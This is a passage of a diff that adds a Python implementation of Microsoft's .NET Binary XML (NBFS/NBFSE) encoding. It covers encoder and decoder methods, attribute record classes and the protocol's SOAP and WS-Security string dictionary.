The exception to this is mex responses. The server
|
||||
sends dictionaries with mex responses
|
||||
|
||||
We should prefer to not use a dict if possible.
|
||||
|
||||
"""
|
||||
|
||||
def _extract_dict_from_xml(self) -> dict[int, str]:
|
||||
"""TODO: needs to be populated"""
|
||||
|
||||
return {}
|
||||
|
||||
def _inband_dict_to_bin(self, inbandDict: dict[int, str]) -> bytes:
|
||||
"""Convert dict into string table and seralize"""
|
||||
|
||||
string_table = bytes()
|
||||
|
||||
for _, v in inbandDict.items():
|
||||
size = Net7BitInteger.encode7bit(len(v.encode("utf-8")))
|
||||
string_table += size + v.encode("utf-8")
|
||||
|
||||
size = Net7BitInteger.encode7bit(len(string_table))
|
||||
|
||||
return size + string_table
|
||||
|
||||
def _extract_stringtable_inband(self, data) -> dict[int, str]:
|
||||
"""Extract strings from inband dict and place them into
|
||||
the string table.
|
||||
"""
|
||||
|
||||
string_table = {}
|
||||
idx = 1
|
||||
while data:
|
||||
size, len_len = Net7BitInteger.decode7bit(data)
|
||||
word = data[len_len : len_len + size]
|
||||
data = data[len_len + size :]
|
||||
string_table[idx] = word
|
||||
idx += 2
|
||||
|
||||
return string_table
|
||||
|
||||
# ========== Interface =============
|
||||
|
||||
def encode(self, xml: str) -> bytes:
|
||||
"""Serialize xml data with appropreate
|
||||
encoding type into bytes.
|
||||
|
||||
Args:
|
||||
xml (str): xml data in string form
|
||||
|
||||
Returns:
|
||||
(bytes): encoded xml data
|
||||
"""
|
||||
r = XMLParser.parse(xml)
|
||||
|
||||
base_data = dump_records(r)
|
||||
|
||||
if self._encoding == 0x07: # NBFS
|
||||
return base_data
|
||||
if self._encoding == 0x08: # NBFSE
|
||||
inbandDict = self._inband_dict_to_bin(self._extract_dict_from_xml())
|
||||
return inbandDict + base_data
|
||||
|
||||
def decode(self, data: bytes) -> str:
|
||||
"""Deseralize and decode xml bytes into
|
||||
string form
|
||||
|
||||
Args:
|
||||
data (bytes): seralize and encoded data
|
||||
|
||||
Returns:
|
||||
(str): xml in string form
|
||||
"""
|
||||
|
||||
if self._encoding == 0x07:
|
||||
data = data
|
||||
|
||||
if self._encoding == 0x08:
|
||||
size3, len_len3 = Net7BitInteger.decode7bit(data)
|
||||
|
||||
# if there is something in the inband dict
|
||||
if size3 != 0:
|
||||
# cut off just the dict part and try to extract it
|
||||
string_table = self._extract_stringtable_inband(
|
||||
data[len_len3 : len_len3 + size3]
|
||||
)
|
||||
print(string_table)
|
||||
|
||||
# then index data to be the start of the actual xml blob
|
||||
data = data[len_len3 + size3 :]
|
||||
|
||||
r = record.parse(BytesIO(data)) # begin parsing from first record
|
||||
xml = print_records(r)
|
||||
|
||||
return xml
|
||||
@@ -0,0 +1,5 @@
|
||||
from .constants import *
|
||||
from .record import record
|
||||
from .utils import Net7BitInteger, dump_records, print_records
|
||||
|
||||
__all__ = ["record", "Net7BitInteger", "dump_records", "print_records"]
|
||||
@@ -0,0 +1,307 @@
|
||||
import struct
|
||||
from typing import Self
|
||||
|
||||
from .datatypes import MultiByteInt31, Utf8String
|
||||
from .constants import DICTIONARY
|
||||
from .record import record, Attribute
|
||||
|
||||
|
||||
class ShortAttributeRecord(Attribute):
|
||||
type = 0x04
|
||||
|
||||
def __init__(self, name: str, value: record):
|
||||
self.name = name
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
"""
|
||||
>>> ShortAttributeRecord('test', TrueTextRecord()).to_bytes()
|
||||
'\\x04\\x04test\\x86'
|
||||
"""
|
||||
bytes = super(ShortAttributeRecord, self).to_bytes()
|
||||
bytes += Utf8String(self.name).to_bytes()
|
||||
bytes += self.value.to_bytes()
|
||||
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return '%s="%s"' % (self.name, str(self.value))
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
name: str = Utf8String.parse(fp).value
|
||||
type: int = struct.unpack("<B", fp.read(1))[0]
|
||||
value: record = record.records[type].parse(fp)
|
||||
|
||||
return cls(name, value)
|
||||
|
||||
|
||||
class AttributeRecord(Attribute):
|
||||
type = 0x05
|
||||
|
||||
def __init__(self, prefix: str, name: str, value: record):
|
||||
self.prefix = prefix
|
||||
self.name = name
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
"""
|
||||
>>> AttributeRecord('x', 'test', TrueTextRecord()).to_bytes()
|
||||
'\\x05\\x01x\\x04test\\x86'
|
||||
"""
|
||||
bytes = super(AttributeRecord, self).to_bytes()
|
||||
bytes += Utf8String(self.prefix).to_bytes()
|
||||
bytes += Utf8String(self.name).to_bytes()
|
||||
bytes += self.value.to_bytes()
|
||||
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return '%s:%s="%s"' % (self.prefix, self.name, str(self.value))
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
prefix: str = Utf8String.parse(fp).value
|
||||
name: str = Utf8String.parse(fp).value
|
||||
type: int = struct.unpack("<B", fp.read(1))[0]
|
||||
value: record = record.records[type].parse(fp)
|
||||
|
||||
return cls(prefix, name, value)
|
||||
|
||||
|
||||
class ShortDictionaryAttributeRecord(Attribute):
|
||||
type = 0x06
|
||||
|
||||
def __init__(self, index: int, value: record):
|
||||
self.index = index
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
"""
|
||||
''>>> ShortDictionaryAttributeRecord(3, TrueTextRecord()).to_bytes()
|
||||
'\\x06\\x03\\x86'
|
||||
"""
|
||||
bytes = super(ShortDictionaryAttributeRecord, self).to_bytes()
|
||||
bytes += MultiByteInt31(self.index).to_bytes()
|
||||
bytes += self.value.to_bytes()
|
||||
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return '%s="%s"' % (DICTIONARY[self.index], str(self.value))
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
index: int = MultiByteInt31.parse(fp).value
|
||||
type: int = struct.unpack("<B", fp.read(1))[0]
|
||||
value: record = record.records[type].parse(fp)
|
||||
|
||||
return cls(index, value)
|
||||
|
||||
|
||||
class DictionaryAttributeRecord(Attribute):
|
||||
type = 0x07
|
||||
|
||||
def __init__(self, prefix: str, index: int, value: record):
|
||||
self.prefix = prefix
|
||||
self.index = index
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
"""
|
||||
>>> DictionaryAttributeRecord('x', 2, TrueTextRecord()).to_bytes()
|
||||
'\\x07\\x01x\\x02\\x86'
|
||||
"""
|
||||
bytes = super(DictionaryAttributeRecord, self).to_bytes()
|
||||
bytes += Utf8String(self.prefix).to_bytes()
|
||||
bytes += MultiByteInt31(self.index).to_bytes()
|
||||
bytes += self.value.to_bytes()
|
||||
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return '%s:%s="%s"' % (self.prefix, DICTIONARY[self.index], str(self.value))
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
prefix: str = Utf8String.parse(fp).value
|
||||
index: int = MultiByteInt31.parse(fp).value
|
||||
type: int = struct.unpack("<B", fp.read(1))[0]
|
||||
value: record = record.records[type].parse(fp)
|
||||
|
||||
return cls(prefix, index, value)
|
||||
|
||||
|
||||
class ShortDictionaryXmlnsAttributeRecord(Attribute):
|
||||
type = 0x0A
|
||||
|
||||
def __init__(self, index: int):
|
||||
self.index = index
|
||||
|
||||
def __str__(self):
|
||||
return 'xmlns="%s"' % (DICTIONARY[self.index],)
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
"""
|
||||
>>> ShortDictionaryXmlnsAttributeRecord( 6).to_bytes()
|
||||
'\\n\\x06'
|
||||
"""
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += MultiByteInt31(self.index).to_bytes()
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
index: int = MultiByteInt31.parse(fp).value
|
||||
return cls(index)
|
||||
|
||||
|
||||
class DictionaryXmlnsAttributeRecord(Attribute):
|
||||
type = 0x0B
|
||||
|
||||
def __init__(self, prefix: str, index: int):
|
||||
self.prefix = prefix
|
||||
self.index = index
|
||||
|
||||
def __str__(self):
|
||||
return 'xmlns:%s="%s"' % (self.prefix, DICTIONARY[self.index])
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
"""
|
||||
>>> DictionaryXmlnsAttributeRecord('a', 6).to_bytes()
|
||||
'\\x0b\\x01\x61\\x06'
|
||||
"""
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += Utf8String(self.prefix).to_bytes()
|
||||
bytes += MultiByteInt31(self.index).to_bytes()
|
||||
|
||||
return bytes
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
prefix: str = Utf8String.parse(fp).value
|
||||
index: int = MultiByteInt31.parse(fp).value
|
||||
return cls(prefix, index)
|
||||
|
||||
|
||||
class ShortXmlnsAttributeRecord(Attribute):
|
||||
type = 0x08
|
||||
|
||||
def __init__(self, value: str, *args, **kwargs):
|
||||
super(ShortXmlnsAttributeRecord, self).__init__(*args, **kwargs)
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += Utf8String(self.value).to_bytes()
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return 'xmlns="%s"' % (self.value,)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
value: str = Utf8String.parse(fp).value
|
||||
return cls(value)
|
||||
|
||||
|
||||
class XmlnsAttributeRecord(Attribute):
|
||||
type = 0x09
|
||||
|
||||
def __init__(self, name: str, value: str, *args, **kwargs):
|
||||
super(XmlnsAttributeRecord, self).__init__(*args, **kwargs)
|
||||
self.name = name
|
||||
self.value = value
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
bytes = struct.pack("<B", self.type)
|
||||
bytes += Utf8String(self.name).to_bytes()
|
||||
bytes += Utf8String(self.value).to_bytes()
|
||||
return bytes
|
||||
|
||||
def __str__(self):
|
||||
return 'xmlns:%s="%s"' % (self.name, self.value)
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
name: str = Utf8String.parse(fp).value
|
||||
value: str = Utf8String.parse(fp).value
|
||||
return cls(name, value)
|
||||
|
||||
|
||||
class PrefixAttributeRecord(AttributeRecord):
|
||||
def __init__(self, name: str, value: record):
|
||||
super(PrefixAttributeRecord, self).__init__(self.char, name, value)
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
string = Utf8String(self.name)
|
||||
return struct.pack("<B", self.type) + string.to_bytes() + self.value.to_bytes()
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
name: str = Utf8String.parse(fp).value
|
||||
type: int = struct.unpack("<B", fp.read(1))[0]
|
||||
value: record = record.records[type].parse(fp)
|
||||
return cls(name, value)
|
||||
|
||||
|
||||
class PrefixDictionaryAttributeRecord(DictionaryAttributeRecord):
|
||||
def __init__(self, index: int, value):
|
||||
super(PrefixDictionaryAttributeRecord, self).__init__(self.char, index, value)
|
||||
|
||||
# TODO: what is self.char?
|
||||
|
||||
def to_bytes(self) -> bytes:
|
||||
idx = MultiByteInt31(self.index)
|
||||
return struct.pack("<B", self.type) + idx.to_bytes() + self.value.to_bytes()
|
||||
|
||||
@classmethod
|
||||
def parse(cls, fp) -> Self:
|
||||
index: int = MultiByteInt31.parse(fp).value
|
||||
type: int = struct.unpack("<B", fp.read(1))[0]
|
||||
value: record = record.records[type].parse(fp)
|
||||
return cls(index, value)
|
||||
|
||||
|
||||
record.add_records(
|
||||
(
|
||||
ShortAttributeRecord,
|
||||
AttributeRecord,
|
||||
ShortDictionaryAttributeRecord,
|
||||
DictionaryAttributeRecord,
|
||||
ShortDictionaryXmlnsAttributeRecord,
|
||||
DictionaryXmlnsAttributeRecord,
|
||||
ShortXmlnsAttributeRecord,
|
||||
XmlnsAttributeRecord,
|
||||
)
|
||||
)
|
||||
|
||||
__records__ = []
|
||||
|
||||
for c in range(0x0C, 0x25 + 1):
|
||||
char = chr(c - 0x0C + ord("a"))
|
||||
cls = type(
|
||||
"PrefixDictionaryAttribute" + char.upper() + "Record",
|
||||
(PrefixDictionaryAttributeRecord,),
|
||||
dict(
|
||||
type=c,
|
||||
char=char,
|
||||
),
|
||||
)
|
||||
__records__.append(cls)
|
||||
|
||||
for c in range(0x26, 0x3F + 1):
|
||||
char = chr(c - 0x26 + ord("a"))
|
||||
cls = type(
|
||||
"PrefixAttribute" + char.upper() + "Record",
|
||||
(PrefixAttributeRecord,),
|
||||
dict(
|
||||
type=c,
|
||||
char=char,
|
||||
),
|
||||
)
|
||||
__records__.append(cls)
|
||||
|
||||
record.add_records(__records__)
|
||||
del __records__
|
||||
@@ -0,0 +1,550 @@
|
||||
TAG_END = 0x01
|
||||
|
||||
# Attribute types
|
||||
ATTRIBUTE_TYPES = range(0x04, 0x3F)
|
||||
SHORT_ATTRIBUTE_TYPE = 0x04
|
||||
ATTRIBUTE_TYPE = 0x05
|
||||
SHORT_DICTIONARY_ATTRIBUTE_TYPE = 0x06
|
||||
DICTIONARY_ATTRIBUTE_TYPE = 0x07
|
||||
SHORT_XMLNS_ATTRIBUTE_TYPE = 0x08
|
||||
XMLNS_ATTRIBUTE_TYPE = 0x09
|
||||
SHORT_DICTIONARY_XMLNS_ATTRIBUTE_TYPE = 0x0A
|
||||
DICTIONARY_XMLNS_ATTRIBUTE_TYPE = 0x0B
|
||||
PREFIX_ATTRIBUTE_TYPES = range(0x26, 0x3F)
|
||||
PREFIX_DICTIONARY_ATTRIBUTE_TYPES = range(0x0C, 0x25)
|
||||
|
||||
# Element types
|
||||
ELEMENT_TYPES = range(0x40, 0x77)
|
||||
SHORT_ELEMENT = 0x40
|
||||
ELEMENT = 0x41
|
||||
SHORT_DICTIONARY_ELEMENT = 0x42
|
||||
DICTIONARY_ELEMENT = 0x43
|
||||
PREFIX_DICTIONARY_ELEMENTS = range(0x44, 0x5D)
|
||||
PREFIX_ELEMENTS = range(0x5E, 0x77)
|
||||
|
||||
# Values types
|
||||
VALUE_TYPES = range(0x80, 0xBD)
|
||||
VALUE_ZERO = 0x80
|
||||
VALUE_ONE = 0x82
|
||||
VALUE_FALSE = 0x84
|
||||
VALUE_TRUE = 0x86
|
||||
VALUE_INT8 = 0x88
|
||||
VALUE_INT16 = 0x8A
|
||||
VALUE_INT32 = 0x8C
|
||||
VALUE_INT64 = 0x8E
|
||||
VALUE_FLOAT = 0x90
|
||||
VALUE_DOUBLE = 0x92
|
||||
# Decimal value is not implemented
|
||||
VALUE_DATETIME = 0x96
|
||||
VALUE_CHARS8 = 0x98
|
||||
VALUE_CHARS16 = 0x9A
|
||||
VALUE_CHARS32 = 0x9C
|
||||
# Bytes and List values are not implemented
|
||||
VALUE_EMPTY_TEXT = 0xA8
|
||||
VALUE_DICTIONARY = 0xAA
|
||||
VALUE_UNIQUEID = 0xAC
|
||||
# TimeSpan and UUID are not implemented
|
||||
VALUE_UINT64 = 0xB2
|
||||
# Bool, UnicodeChars8, UnicodeChars16, UnicodeChars32 and QNameDictionary values are not implemented
|
||||
|
||||
|
||||
DICTIONARY = {
|
||||
0x00: "mustUnderstand",
|
||||
0x02: "Envelope",
|
||||
0x04: "http://www.w3.org/2003/05/soap-envelope",
|
||||
0x06: "http://www.w3.org/2005/08/addressing",
|
||||
0x08: "Header",
|
||||
0x0A: "Action",
|
||||
0x0C: "To",
|
||||
0x0E: "Body",
|
||||
0x10: "Algorithm",
|
||||
0x12: "RelatesTo",
|
||||
0x14: "http://www.w3.org/2005/08/addressing/anonymous",
|
||||
0x16: "URI",
|
||||
0x18: "Reference",
|
||||
0x1A: "MessageID",
|
||||
0x1C: "Id",
|
||||
0x1E: "Identifier",
|
||||
0x20: "http://schemas.xmlsoap.org/ws/2005/02/rm",
|
||||
0x22: "Transforms",
|
||||
0x24: "Transform",
|
||||
0x26: "DigestMethod",
|
||||
0x28: "DigestValue",
|
||||
0x2A: "Address",
|
||||
0x2C: "ReplyTo",
|
||||
0x2E: "SequenceAcknowledgement",
|
||||
0x30: "AcknowledgementRange",
|
||||
0x32: "Upper",
|
||||
0x34: "Lower",
|
||||
0x36: "BufferRemaining",
|
||||
0x38: "http://schemas.microsoft.com/ws/2006/05/rm",
|
||||
0x3A: "http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement",
|
||||
0x3C: "SecurityTokenReference",
|
||||
0x3E: "Sequence",
|
||||
0x40: "MessageNumber",
|
||||
0x42: "http://www.w3.org/2000/09/xmldsig#",
|
||||
0x44: "http://www.w3.org/2000/09/xmldsig#enveloped-signature",
|
||||
0x46: "KeyInfo",
|
||||
0x48: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd",
|
||||
0x4A: "http://www.w3.org/2001/04/xmlenc#",
|
||||
0x4C: "http://schemas.xmlsoap.org/ws/2005/02/sc",
|
||||
0x4E: "DerivedKeyToken",
|
||||
0x50: "Nonce",
|
||||
0x52: "Signature",
|
||||
0x54: "SignedInfo",
|
||||
0x56: "CanonicalizationMethod",
|
||||
0x58: "SignatureMethod",
|
||||
0x5A: "SignatureValue",
|
||||
0x5C: "DataReference",
|
||||
0x5E: "EncryptedData",
|
||||
0x60: "EncryptionMethod",
|
||||
0x62: "CipherData",
|
||||
0x64: "CipherValue",
|
||||
0x66: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd",
|
||||
0x68: "Security",
|
||||
0x6A: "Timestamp",
|
||||
0x6C: "Created",
|
||||
0x6E: "Expires",
|
||||
0x70: "Length",
|
||||
0x72: "ReferenceList",
|
||||
0x74: "ValueType",
|
||||
0x76: "Type",
|
||||
0x78: "EncryptedHeader",
|
||||
0x7A: "http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd",
|
||||
0x7C: "RequestSecurityTokenResponseCollection",
|
||||
0x7E: "http://schemas.xmlsoap.org/ws/2005/02/trust",
|
||||
0x80: "http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret",
|
||||
0x82: "http://schemas.microsoft.com/ws/2006/02/transactions",
|
||||
0x84: "s",
|
||||
0x86: "Fault",
|
||||
0x88: "MustUnderstand",
|
||||
0x8A: "role",
|
||||
0x8C: "relay",
|
||||
0x8E: "Code",
|
||||
0x90: "Reason",
|
||||
0x92: "Text",
|
||||
0x94: "Node",
|
||||
0x96: "Role",
|
||||
0x98: "Detail",
|
||||
0x9A: "Value",
|
||||
0x9C: "Subcode",
|
||||
0x9E: "NotUnderstood",
|
||||
0xA0: "qname",
|
||||
0xA2: '"',
|
||||
0xA4: "From",
|
||||
0xA6: "FaultTo",
|
||||
0xA8: "EndpointReference",
|
||||
0xAA: "PortType",
|
||||
0xAC: "ServiceName",
|
||||
0xAE: "PortName",
|
||||
0xB0: "ReferenceProperties",
|
||||
0xB2: "RelationshipType",
|
||||
0xB4: "Reply",
|
||||
0xB6: "a",
|
||||
0xB8: "http://schemas.xmlsoap.org/ws/2006/02/addressingidentity",
|
||||
0xBA: "Identity",
|
||||
0xBC: "Spn",
|
||||
0xBE: "Upn",
|
||||
0xC0: "Rsa",
|
||||
0xC2: "Dns",
|
||||
0xC4: "X509v3Certificate",
|
||||
0xC6: "http://www.w3.org/2005/08/addressing/fault",
|
||||
0xC8: "ReferenceParameters",
|
||||
0xCA: "IsReferenceParameter",
|
||||
0xCC: "http://www.w3.org/2005/08/addressing/reply",
|
||||
0xCE: "http://www.w3.org/2005/08/addressing/none",
|
||||
0xD0: "Metadata",
|
||||
0xD2: "http://schemas.xmlsoap.org/ws/2004/08/addressing",
|
||||
0xD4: "http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous",
|
||||
0xD6: "http://schemas.xmlsoap.org/ws/2004/08/addressing/fault",
|
||||
0xD8: "http://schemas.xmlsoap.org/ws/2004/06/addressingex",
|
||||
0xDA: "RedirectTo",
|
||||
0xDC: "Via",
|
||||
0xDE: "http://www.w3.org/2001/10/xml-exc-c14n#",
|
||||
0xE0: "PrefixList",
|
||||
0xE2: "InclusiveNamespaces",
|
||||
0xE4: "ec",
|
||||
0xE6: "SecurityContextToken",
|
||||
0xE8: "Generation",
|
||||
0xEA: "Label",
|
||||
0xEC: "Offset",
|
||||
0xEE: "Properties",
|
||||
0xF0: "Cookie",
|
||||
0xF2: "wsc",
|
||||
0xF4: "http://schemas.xmlsoap.org/ws/2004/04/sc",
|
||||
0xF6: "http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk",
|
||||
0xF8: "http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct",
|
||||
0xFA: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT",
|
||||
0xFC: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT",
|
||||
0xFE: "RenewNeeded",
|
||||
0x100: "BadContextToken",
|
||||
0x102: "c",
|
||||
0x104: "http://schemas.xmlsoap.org/ws/2005/02/sc/dk",
|
||||
0x106: "http://schemas.xmlsoap.org/ws/2005/02/sc/sct",
|
||||
0x108: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT",
|
||||
0x10A: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT",
|
||||
0x10C: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew",
|
||||
0x10E: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew",
|
||||
0x110: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel",
|
||||
0x112: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel",
|
||||
0x114: "http://www.w3.org/2001/04/xmlenc#aes128-cbc",
|
||||
0x116: "http://www.w3.org/2001/04/xmlenc#kw-aes128",
|
||||
0x118: "http://www.w3.org/2001/04/xmlenc#aes192-cbc",
|
||||
0x11A: "http://www.w3.org/2001/04/xmlenc#kw-aes192",
|
||||
0x11C: "http://www.w3.org/2001/04/xmlenc#aes256-cbc",
|
||||
0x11E: "http://www.w3.org/2001/04/xmlenc#kw-aes256",
|
||||
0x120: "http://www.w3.org/2001/04/xmlenc#des-cbc",
|
||||
0x122: "http://www.w3.org/2000/09/xmldsig#dsa-sha1",
|
||||
0x124: "http://www.w3.org/2001/10/xml-exc-c14n#WithComments",
|
||||
0x126: "http://www.w3.org/2000/09/xmldsig#hmac-sha1",
|
||||
0x128: "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256",
|
||||
0x12A: "http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1",
|
||||
0x12C: "http://www.w3.org/2001/04/xmlenc#ripemd160",
|
||||
0x12E: "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p",
|
||||
0x130: "http://www.w3.org/2000/09/xmldsig#rsa-sha1",
|
||||
0x132: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256",
|
||||
0x134: "http://www.w3.org/2001/04/xmlenc#rsa-1_5",
|
||||
0x136: "http://www.w3.org/2000/09/xmldsig#sha1",
|
||||
0x138: "http://www.w3.org/2001/04/xmlenc#sha256",
|
||||
0x13A: "http://www.w3.org/2001/04/xmlenc#sha512",
|
||||
0x13C: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc",
|
||||
0x13E: "http://www.w3.org/2001/04/xmlenc#kw-tripledes",
|
||||
0x140: "http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap",
|
||||
0x142: "http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap",
|
||||
0x144: "http://schemas.microsoft.com/ws/2006/05/security",
|
||||
0x146: "dnse",
|
||||
0x148: "o",
|
||||
0x14A: "Password",
|
||||
0x14C: "PasswordText",
|
||||
0x14E: "Username",
|
||||
0x150: "UsernameToken",
|
||||
0x152: "BinarySecurityToken",
|
||||
0x154: "EncodingType",
|
||||
0x156: "KeyIdentifier",
|
||||
0x158: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary",
|
||||
0x15A: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary",
|
||||
0x15C: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text",
|
||||
0x15E: "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentifier",
|
||||
0x160: "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ",
|
||||
0x162: "http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510",
|
||||
0x164: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID",
|
||||
0x166: "Assertion",
|
||||
0x168: "urn:oasis:names:tc:SAML:1.0:assertion",
|
||||
0x16A: "http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license",
|
||||
0x16C: "FailedAuthentication",
|
||||
0x16E: "InvalidSecurityToken",
|
||||
0x170: "InvalidSecurity",
|
||||
0x172: "k",
|
||||
0x174: "SignatureConfirmation",
|
||||
0x176: "TokenType",
|
||||
0x178: "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1",
|
||||
0x17A: "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey",
|
||||
0x17C: "http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1",
|
||||
0x17E: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1",
|
||||
0x180: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0",
|
||||
0x182: "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID",
|
||||
0x184: "AUTH-HASH",
|
||||
0x186: "RequestSecurityTokenResponse",
|
||||
0x188: "KeySize",
|
||||
0x18A: "RequestedTokenReference",
|
||||
0x18C: "AppliesTo",
|
||||
0x18E: "Authenticator",
|
||||
0x190: "CombinedHash",
|
||||
0x192: "BinaryExchange",
|
||||
0x194: "Lifetime",
|
||||
0x196: "RequestedSecurityToken",
|
||||
0x198: "Entropy",
|
||||
0x19A: "RequestedProofToken",
|
||||
0x19C: "ComputedKey",
|
||||
0x19E: "RequestSecurityToken",
|
||||
0x1A0: "RequestType",
|
||||
0x1A2: "Context",
|
||||
0x1A4: "BinarySecret",
|
||||
0x1A6: "http://schemas.xmlsoap.org/ws/2005/02/trust/spnego",
|
||||
0x1A8: "http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego",
|
||||
0x1AA: "wst",
|
||||
0x1AC: "http://schemas.xmlsoap.org/ws/2004/04/trust",
|
||||
0x1AE: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue",
|
||||
0x1B0: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue",
|
||||
0x1B2: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue",
|
||||
0x1B4: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1",
|
||||
0x1B6: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey",
|
||||
0x1B8: "http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce",
|
||||
0x1BA: "KeyType",
|
||||
0x1BC: "http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey",
|
||||
0x1BE: "http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey",
|
||||
0x1C0: "Claims",
|
||||
0x1C2: "InvalidRequest",
|
||||
0x1C4: "RequestFailed",
|
||||
0x1C6: "SignWith",
|
||||
0x1C8: "EncryptWith",
|
||||
0x1CA: "EncryptionAlgorithm",
|
||||
0x1CC: "CanonicalizationAlgorithm",
|
||||
0x1CE: "ComputedKeyAlgorithm",
|
||||
0x1D0: "UseKey",
|
||||
0x1D2: "http://schemas.microsoft.com/net/2004/07/secext/WS-SPNego",
|
||||
0x1D4: "http://schemas.microsoft.com/net/2004/07/secext/TLSNego",
|
||||
0x1D6: "t",
|
||||
0x1D8: "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue",
|
||||
0x1DA: "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue",
|
||||
0x1DC: "http://schemas.xmlsoap.org/ws/2005/02/trust/Issue",
|
||||
0x1DE: "http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey",
|
||||
0x1E0: "http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1",
|
||||
0x1E2: "http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce",
|
||||
0x1E4: "RenewTarget",
|
||||
0x1E6: "CancelTarget",
|
||||
0x1E8: "RequestedTokenCancelled",
|
||||
0x1EA: "RequestedAttachedReference",
|
||||
0x1EC: "RequestedUnattachedReference",
|
||||
0x1EE: "IssuedTokens",
|
||||
0x1F0: "http://schemas.xmlsoap.org/ws/2005/02/trust/Renew",
|
||||
0x1F2: "http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel",
|
||||
0x1F4: "http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey",
|
||||
0x1F6: "Access",
|
||||
0x1F8: "AccessDecision",
|
||||
0x1FA: "Advice",
|
||||
0x1FC: "AssertionID",
|
||||
0x1FE: "AssertionIDReference",
|
||||
0x200: "Attribute",
|
||||
0x202: "AttributeName",
|
||||
0x204: "AttributeNamespace",
|
||||
0x206: "AttributeStatement",
|
